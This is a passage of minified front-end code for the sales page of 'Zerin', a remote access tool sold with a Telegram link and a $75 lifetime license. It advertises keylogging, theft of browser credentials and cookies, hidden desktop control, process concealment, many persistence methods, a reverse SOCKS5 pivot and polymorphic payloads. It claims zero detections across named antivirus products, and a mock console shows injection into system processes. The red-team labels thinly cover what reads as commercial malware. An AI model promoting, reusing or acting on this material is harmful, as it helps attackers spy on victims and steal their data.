10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],$A=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Es({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const BA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),FA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function WA(){const e=DA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(IA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:$A.map((u,d)=>s.jsx(BA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:RA.map((u,d)=>s.jsx(FA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(Es,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(Es,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(Es,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(Es,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(Es,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] 